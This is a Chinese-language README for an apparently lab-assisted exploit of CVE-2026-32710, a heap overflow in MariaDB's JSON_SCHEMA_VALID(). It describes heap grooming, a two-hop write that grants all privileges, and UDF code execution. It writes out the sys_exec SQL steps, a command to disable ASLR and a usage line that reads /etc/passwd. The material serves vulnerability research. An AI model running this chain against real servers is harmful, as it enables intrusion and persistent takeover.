CVE-2026-32710

MariaDB JSON_SCHEMA_VALID() 中的堆缓冲区溢出 → 持久化权限提升 → UDF 远程代码执行

实验室辅助。 该脚本使用 Docker / root 内省来读取 /proc/1/mem 并发现每个连接对应的堆布局。实际利用 链是纯 SQL over TCP。武器化的利用需要信息泄露 原语来替代内存内省步骤。

利用前

lowpriv 只能对 test 数据库执行 SELECT。系统表被拒绝访问。

利用

一个 Python 脚本执行堆整理、通过用户变量元数据进行两跳任意写入、通过 GRANT ALL 持久化权限提升，并通过 UDF 实现代码执行：

python3 exploit.py

利用后

lowpriv 现在拥有 ALL PRIVILEGES WITH GRANT OPTION，可以读取系统表、读写任意文件，并以 mysql 用户身份执行操作系统命令。该授权在服务器重启后仍然有效。

阶段

阶段 1：权限提升

┌──────────────────────────────────────────────────────────────────┐
│  SELECT  json_schema_valid(overflow),                           │
│          @ccc...c := hop1,                                      │
│          @aaa...a := hop2                                       │
└──────────────────────────────────────────────────────────────────┘
         │                    │                   │
         ▼                    ▼                   ▼
   ┌───────────┐     ┌──────────────┐    ┌──────────────┐
   │ 192 字节  │     │ 通过损坏的    │    │ 通过重定向的  │
   │ 溢出      │     │ 指针写入 @c  │    │ 指针写入 @a  │
   │ 破坏      │     │              │    │              │
   │ entry_c 的│     │ entry_a →    │    │ master_access│
   │ value 指针│     │   .value =   │    │   = 0xFFFF.. │
   │ （2 字节  │     │   &master_   │    │ (ALL PRIVS)  │
   │  部分覆盖）│     │   access     │    │              │
   │            │     │   .length= 9 │    └──────────────┘
   └───────────┘     └──────────────┘

1. 堆整理 — 100+ 个用户变量耗尽 tcache，强制 Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c 连续分配。

2. 溢出 — JSON_SCHEMA_VALID 触发 192 字节的 strncpy 超出 128 字节缓冲区，破坏 entry_c→value（在同一 64 KB 页内的 2 字节部分指针 覆盖），使其指向 entry_a + 32。

3. 跳 1 — 对 @c 赋值通过损坏的指针将 126 字节写入 entry_a 的元数据，设置：

   • entry_a→value = &Security_context::master_access
   • entry_a→length = 9

4. 跳 2 — 对 @a 赋值通过重定向的 entry_a→value 指针写入 8 字节的 0xFF → master_access = ALL PRIVILEGES。

阶段 2：UDF 远程代码执行

持久化后，服务器重启（崩溃恢复），利用提升的权限安装 UDF 共享库：

1. LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'
2. CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'
3. SELECT sys_exec('id > /tmp/pwned')

解决的关键约束

实验室设置

# 1. 构建并启动容器
./setup.sh

# 2. 在 Docker 主机上禁用 ASLR
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

# 3. 运行利用（每次尝试自动校准）
python3 exploit.py

# 4. 自定义命令
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'

要求

• Docker（x86_64）
• Python 3
• 在 Docker 主机上禁用 ASLR（/proc/sys/kernel/randomize_va_space = 0）
• 容器以 --cap-add SYS_PTRACE 运行（用于访问 /proc/1/mem）

选项

--calibrate      测量堆布局常量并退出
--cmd CMD        阶段 2 UDF 执行的命令（默认：id > /tmp/pwned）
--stage1-only    仅运行权限提升，跳过 UDF 远程代码执行
--attempts N     阶段 1 最大尝试次数（默认：5）
--host HOST      MariaDB 主机（默认：127.0.0.1）
--port PORT      MariaDB 端口（默认：3306）

实验室辅助提供的内容

利用脚本以 root 身份进入容器读取 /proc/1/mem。 这用于两件事：

1. 堆布局发现 — 定位三个哨兵 user_var_entry 结构体并验证它们相邻（entry_a+32 与 entry_c→value 在同一 64KB 页内， 以实现 2 字节部分覆盖）。
2. Security_context 地址 — 找到 master_access 字段， 作为两跳写入的目标。

每次尝试都会内联运行扫描，因为堆布局因连接而异 （即使 ASLR=0），原因是 MariaDB 的线程池分配了不同的 arena。实际利用链 — 溢出 + hop1 + hop2 — 是 通过 TCP 连接执行的纯 SQL。

在现实场景中，攻击者需要单独的信息泄露 漏洞（或侧信道）来获取这些地址。

文件